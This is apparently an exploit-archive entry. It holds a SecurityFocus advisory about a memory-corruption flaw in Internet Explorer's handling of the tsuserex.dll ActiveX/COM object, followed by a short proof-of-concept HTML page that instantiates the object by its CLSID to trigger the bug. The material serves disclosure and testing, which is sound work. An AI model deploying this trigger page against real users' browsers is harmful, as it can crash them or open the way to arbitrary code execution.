source: https://www.securityfocus.com/bid/19570/info Microsoft Internet Explorer is prone to a memory-corruption vulnerability. This is related to the handling of the 'tsuserex.dll' COM object ActiveX control. Attackers may exploit this issue via a malicious web page to execute arbitrary code in the context of the currently logged-in user. Exploitation attempts may lead to a denial-of-service condition as well. Attackers may also employ HTML email to carry out an attack. =============== tsuserex.dll.htm start ================ <!-- // Microsoft Windows 2003 (tsuserex.dll) COM Object Instantiation Vulnerability // tested on Windows 2003 EE SP1 CN // http://www.xsec.org // nop (nop#xsec.org) // CLSID: {E2E9CAE6-1E7B-4B8E-BABD-E9BF6292AC29} // Info: ADsTSUserEx Class // ProgID: tsuserex.ADsTSUserEx.1 // InprocServer32: C:\WINDOWS\system32\tsuserex.dll --!> <html><body> <object classid="CLSID:{E2E9CAE6-1E7B-4B8E-BABD-E9BF6292AC29}"> </object> </body> </html> =============== tsuserex.dll.htm end ==================